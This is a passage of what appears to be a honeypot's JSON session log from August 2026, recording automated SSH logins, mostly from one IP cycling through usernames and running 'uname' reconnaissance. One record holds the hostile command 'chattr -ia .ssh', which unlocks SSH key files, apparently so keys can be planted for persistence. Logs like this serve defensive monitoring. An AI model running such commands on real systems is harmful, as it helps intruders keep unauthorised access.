  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "76b0f995-d771-4b40-9535-ea843a5903f5",
  "name": "fickle-balmy-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58216,
  "username": "user3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:36.809553+00:00",
  "ended_at": "2026-08-27T02:34:40.106207+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "5450877e-42b5-4979-a8ea-3977e7385da8",
  "name": "plucky-grassy-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48858,
  "username": "amin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 340,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:36.303111+00:00",
  "ended_at": "2026-08-27T02:34:42.293443+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "baaa95b2-057c-42ed-b5d2-2b1ee36afa78",
  "name": "ancient-sunlit-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48802,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:21.537210+00:00",
  "ended_at": "2026-08-27T02:34:27.154445+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "29bd2b49-8862-4a0a-80ad-15d1c61e3dc8",
  "name": "wooded-peaty-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47944,
  "username": "ossuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:34:18.331861+00:00",
  "ended_at": "2026-08-27T02:34:20.840310+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4543342-7037-4a26-b23b-2f56fda9cc51",
  "name": "valiant-serene-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45042,
  "username": "ossuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 339,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:14.596907+00:00",
  "ended_at": "2026-08-27T02:34:20.838503+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1665
 },
 {
  "id": "3b1d619f-e26c-4f51-a8c7-08ee394b5d50",
  "name": "lunar-wry-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48596,
  "username": "user10",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:13.535413+00:00",
  "ended_at": "2026-08-27T02:34:18.582419+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "afc75e61-9eff-485d-a165-a7d686694b9c",
  "name": "sterling-wry-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:08.414892+00:00",
  "ended_at": "2026-08-27T02:34:14.508573+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7150224-baca-4cdf-afd0-40aa2f763f93",
  "name": "earnest-tawny-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52936,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:52.356441+00:00",
  "ended_at": "2026-08-27T02:33:56.981642+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4d23b97-9755-4b9c-9c46-44cba42672da",
  "name": "downy-pristine-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52994,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:48.288358+00:00",
  "ended_at": "2026-08-27T02:33:53.909379+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "84ded69b-57f9-43c2-a1ff-709691a264d3",
  "name": "marbled-painted-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51240,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:43.729969+00:00",
  "ended_at": "2026-08-27T02:33:48.374888+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "83701908-01b5-4c48-9128-193e72f6a277",
  "name": "bold-smooth-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58236,
  "username": "playground",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:33:43.334535+00:00",
  "ended_at": "2026-08-27T02:33:46.088005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "878a29f9-c7b1-4474-8b48-8252b8d2d0fb",
  "name": "patient-drifting-skylark",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "94.154.43.84",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:33:37.311643+00:00",
  "ended_at": "2026-08-27T02:49:06.261918+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c7d8f76-68b3-45f5-97e6-14ad50b76c7d",
  "name": "solemn-subtle-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33692,
  "username": "playground",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 471,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:36.038962+00:00",
  "ended_at": "2026-08-27T02:33:46.089237+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "d3c02348-bf6c-4814-bc67-3cda0e7bb619",
  "name": "jolly-serene-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58970,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:31.743826+00:00",
  "ended_at": "2026-08-27T02:33:37.539591+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "644ae93a-a02a-41b5-8337-394ddc6f16f0",
  "name": "russet-courtly-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49912,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:33:20.602582+00:00",
  "ended_at": "2026-08-27T02:33:21.281889+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "8bc2c9e4-f34b-4250-bac9-2cb6085e60b9",
  "name": "bashful-thorny-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33606,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:13.578162+00:00",
  "ended_at": "2026-08-27T02:33:18.185250+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed09cc5b-f8d0-4a89-bff1-3b83e1a0d303",
  "name": "idle-quartz-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:09.181541+00:00",
  "ended_at": "2026-08-27T02:33:12.465685+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "304a6b3f-3665-4713-bb3c-97716ed01660",
  "name": "dewy-mossy-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59824,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:33:07.889239+00:00",
  "ended_at": "2026-08-27T02:33:09.531593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aec10140-ed68-471f-9367-23e0ad6e370d",
  "name": "quiet-civil-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59820,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:33:05.124615+00:00",
  "ended_at": "2026-08-27T02:33:06.573448+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06872218-6488-49e6-a41d-0f8ae3a3de39",
  "name": "lawful-bitter-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57078,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 402,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:04.287889+00:00",
  "ended_at": "2026-08-27T02:33:08.844102+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "77b8e169-d1eb-4001-bf49-ab71e1e60dfe",
  "name": "chilly-murky-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57156,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:56.043128+00:00",
  "ended_at": "2026-08-27T02:32:58.836456+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "79a39479-d508-4021-8555-5781080918c8",
  "name": "rapid-ashen-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:50.736827+00:00",
  "ended_at": "2026-08-27T02:32:53.599003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ec6ee4bc-e9d6-4668-b979-83ce6e6a6641",
  "name": "hardy-cunning-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:46.857362+00:00",
  "ended_at": "2026-08-27T02:32:51.907726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8a920b25-4d3e-4bd1-b662-7326582a6d6f",
  "name": "woven-blazing-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58964,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:32:38.933217+00:00",
  "ended_at": "2026-08-27T02:32:41.675039+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e4db24b-f943-47ce-a301-af863495ff61",
  "name": "shifting-canny-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55368,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 267,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:38.225534+00:00",
  "ended_at": "2026-08-27T02:32:44.159249+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6081f097-202f-4985-aea5-6ce7f0d143c6",
  "name": "breezy-peaty-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34028,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:34.532026+00:00",
  "ended_at": "2026-08-27T02:32:41.684381+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1666
 },
 {
  "id": "6dc70865-b09e-4309-b807-61c1a070e90e",
  "name": "flinty-mindful-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33598,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:32:25.601207+00:00",
  "ended_at": "2026-08-27T02:32:27.831347+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "80104383-625e-4325-9c88-3a0872ca5c7b",
  "name": "curious-orderly-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51124,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:22.043902+00:00",
  "ended_at": "2026-08-27T02:32:27.833180+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "7473ea66-7b22-4e45-b9b8-ec4975cd25bd",
  "name": "arctic-ginger-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:17.272439+00:00",
  "ended_at": "2026-08-27T02:32:20.613157+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "484f4085-c036-4cf5-9681-28b18a2b1c5d",
  "name": "courtly-dewy-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57136,
  "username": "daniel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:32:12.088091+00:00",
  "ended_at": "2026-08-27T02:32:14.426966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b6ae5e1-c34f-460c-bdc5-952d1a335d96",
  "name": "whispering-sullen-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51180,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:10.716038+00:00",
  "ended_at": "2026-08-27T02:32:14.220503+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b56e6d23-5ba2-4435-b15a-e0eef67b1931",
  "name": "northern-sincere-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39722,
  "username": "daniel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:08.394107+00:00",
  "ended_at": "2026-08-27T02:32:14.424400+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "dcf61764-b7a5-4ef7-be0a-31105f24d7d4",
  "name": "sooty-clever-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:31:49.984497+00:00",
  "ended_at": "2026-08-27T02:31:54.018901+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0739928b-5e21-4f09-a91c-2b4820a7b90e",
  "name": "tranquil-dewy-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34064,
  "username": "admin2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:31:43.537946+00:00",
  "ended_at": "2026-08-27T02:31:46.190901+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b31691b-cf67-484f-8a98-993486427073",
  "name": "glacial-vivid-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47550,
  "username": "admin2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:31:38.456549+00:00",
  "ended_at": "2026-08-27T02:31:46.189583+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "ebb017de-a624-461d-bd72-08f2eccf3b36",
  "name": "woven-honest-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:31:22.177515+00:00",
  "ended_at": "2026-08-27T02:31:28.081571+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c25320d0-f814-4789-a2dc-446342ca4b25",
  "name": "pleasant-woven-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46948,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:31:02.072878+00:00",
  "ended_at": "2026-08-27T02:31:03.662901+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "382a33ef-c3a9-4a72-bed8-58f7bc327232",
  "name": "faded-lawful-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46858,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:55.635440+00:00",
  "ended_at": "2026-08-27T02:30:57.001965+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30d1a405-0d6a-4390-a01d-f1932582655f",
  "name": "arctic-snowy-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:50.619660+00:00",
  "ended_at": "2026-08-27T02:30:52.770402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1267a712-7ea8-4148-9b05-02533764a3aa",
  "name": "gritty-gilded-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:45.664131+00:00",
  "ended_at": "2026-08-27T02:30:46.621934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c36241c4-4cb9-49fc-a806-828a7d2da45a",
  "name": "bronzed-sunlit-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:38.671775+00:00",
  "ended_at": "2026-08-27T02:30:40.430717+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "506e2ff1-523a-4735-ad64-6f0d6b87430e",
  "name": "eager-dewy-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56260,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:33.397561+00:00",
  "ended_at": "2026-08-27T02:30:34.334010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd9eeece-ccdd-47d8-a125-0702582ce28b",
  "name": "velvet-sterling-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60524,
  "username": "devuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:30:30.430455+00:00",
  "ended_at": "2026-08-27T02:30:33.156873+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9fef399-1f58-4646-8275-3724d541972c",
  "name": "somber-fleeting-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45180,
  "username": "devuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 270,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:28.094673+00:00",
  "ended_at": "2026-08-27T02:30:33.158117+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "c421ff32-9624-44e4-b890-93b289a7d2c4",
  "name": "diligent-supple-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 289,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:19.984555+00:00",
  "ended_at": "2026-08-27T02:30:22.095085+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "54fa3ee5-cc4e-4297-9649-6ac560c52d48",
  "name": "cobalt-icy-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58906,
  "username": "ivan",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:30:18.874115+00:00",
  "ended_at": "2026-08-27T02:30:21.245411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "840e2056-5c09-4d4d-a629-10a7a03820a3",
  "name": "burly-fabled-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 65413,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:30:18.441438+00:00",
  "ended_at": "2026-08-27T02:30:19.523302+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d423fca-c1da-4afb-9fd8-c137c0d90b05",
  "name": "arctic-reedy-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39110,
  "username": "ivan",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:16.561462+00:00",
  "ended_at": "2026-08-27T02:30:21.243922+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "b1d12d4b-2a68-4769-ba64-6bb2f5cac284",
  "name": "burly-thawing-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56290,
  "username": "crafty",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:30:13.849462+00:00",
  "ended_at": "2026-08-27T02:30:16.874786+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78c3c711-6800-486d-aae1-f005b6400818",
  "name": "bitter-sterling-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39082,
  "username": "crafty",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:11.779565+00:00",
  "ended_at": "2026-08-27T02:30:16.875890+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
